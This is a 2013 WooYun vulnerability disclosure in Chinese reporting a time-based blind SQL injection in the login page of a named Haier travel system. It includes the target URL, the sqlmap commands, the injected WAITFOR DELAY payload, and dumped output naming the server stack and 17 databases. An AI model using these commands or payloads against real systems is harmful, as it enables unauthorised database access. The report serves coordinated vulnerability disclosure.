漏洞概要 关注数(24) 关注此漏洞
缺陷编号:wooyun-2013-042426
漏洞标题:海尔某系统POST注入第二弹
相关厂商:海尔集团
漏洞作者: Mutoubug
提交时间:2013-11-12 18:50
修复时间:2013-12-27 18:51
公开时间:2013-12-27 18:51
漏洞类型:SQL注射漏洞
危害等级:中
自评Rank:10
漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理
漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]
Tags标签: 无
漏洞详情
披露状态:
2013-11-12: 细节已通知厂商并且等待厂商处理中
2013-11-16: 厂商已经确认,细节仅向厂商公开
2013-11-26: 细节向核心白帽子及相关领域专家公开
2013-12-06: 细节向普通白帽子公开
2013-12-16: 细节向实习白帽子公开
2013-12-27: 细节向公众公开
简要描述:
问题一样,但是过程有点蛋疼。
详细说明:
存在问题的系统:http://travel.haier.com:80/travel/manager/ReLogin.aspx
依然是登陆框,提交admin',出现错误回显了:
爆物理路径了:
然后抓包保存到haier.txt到sqlmap里面去跑,(使用--data的方法跑不出来的,尝试了好多次都不行)。然后百度了一下用上面的方法来跑可以跑出来是注入点,但是跑不出来库,朋友说是网络问题?
然后等到早上网络比较好的时候再跑了一次,问题还是这样。。之前的语句是这样:
sqlmap.py -r haierpost.txt -p TextBox1 --tables --time-sec=20
--technique=T
后面各种尝试各种奇葩的SQLMAP的参数,最后把--tables改一下就成功了,真的蛋疼:
sqlmap.py -r haierpost.txt -p TextBox1 --dbs --time-sec=20 --
technique=T
话说--time-sec这个参数是什么用的?
然后就是盲注过程了,非常的漫长,结果:
总共17个数据库:
sqlmap identified the following injection points with a total of 34 HTTP(s) requests:
---
Place: POST
Parameter: TextBox1
Type: AND/OR time-based blind
Title: Microsoft SQL Server/Sybase time-based blind
Payload: __LASTFOCUS=&__EVENTTARGET=&__EVENTARGUMENT=&__VIEWSTATE=/wEPDwUKLTI1MTQ3MzU2MWRkl28gi/VU56MiPf/1Ncc8lnwLALs=&__EVENTVALIDATION=/wEWBQKexuSzBALs0bLrBgLs0fbZDALs0Yq1BQLHyfnnAgb4y43LUN9z/MGbBAiXth1qXSO3&TextBox1=admin' WAITFOR DELAY '0:0:20'--&TextBox2=admin&TextBox3=5391&btLogin=%B5%C7%C2%BC
---
web server operating system: Windows 2003
web application technology: ASP.NET, Microsoft IIS 6.0, ASP.NET 2.0.50727
back-end DBMS: Microsoft SQL Server 2005
available databases [17]:
[*] [m\\?81xb]
[*] [tempdb߿]
[*] Back_Travel
[*] ExhibitionsManagement
[*] gobak
[*] GOPSf
[*] GOPSWGG
[*] lumigent
[*] master
[*] moda
[*] msdb
[*] mwdb
[*] PTMS
[*] SBCBFX
[*] Travel
[*] VioCard
[*] xiechengDB
我实在不想跑表了,太慢了。就这样了。
漏洞证明:
总共17个数据库:
sqlmap identified the following injection points with a total of 34 HTTP(s) requests:
---
Place: POST
Parameter: TextBox1
Type: AND/OR time-based blind
Title: Microsoft SQL Server/Sybase time-based blind
Payload: __LASTFOCUS=&__EVENTTARGET=&__EVENTARGUMENT=&__VIEWSTATE=/wEPDwUKLTI1MTQ3MzU2MWRkl28gi/VU56MiPf/1Ncc8lnwLALs=&__EVENTVALIDATION=/wEWBQKexuSzBALs0bLrBgLs0fbZDALs0Yq1BQLHyfnnAgb4y43LUN9z/MGbBAiXth1qXSO3&TextBox1=admin' WAITFOR DELAY '0:0:20'--&TextBox2=admin&TextBox3=5391&btLogin=%B5%C7%C2%BC
---
web server operating system: Windows 2003
web application technology: ASP.NET, Microsoft IIS 6.0, ASP.NET 2.0.50727
back-end DBMS: Microsoft SQL Server 2005
available databases [17]:
[*] [m\\?81xb]
[*] [tempdb߿]
[*] Back_Travel
[*] ExhibitionsManagement
[*] gobak
[*] GOPSf
[*] GOPSWGG
[*] lumigent
[*] master
[*] moda
[*] msdb
[*] mwdb
[*] PTMS
[*] SBCBFX
[*] Travel
[*] VioCard
[*] xiechengDB
修复方案:
1.过滤登陆框的参数。
2.或者用AJAX返回错误参数。
3.求rank.
版权声明:转载请注明来源 Mutoubug@乌云
漏洞回应
厂商回应:
危害等级:中
漏洞Rank:10
确认时间:2013-11-16 23:14
厂商回复:
最新状态:
暂无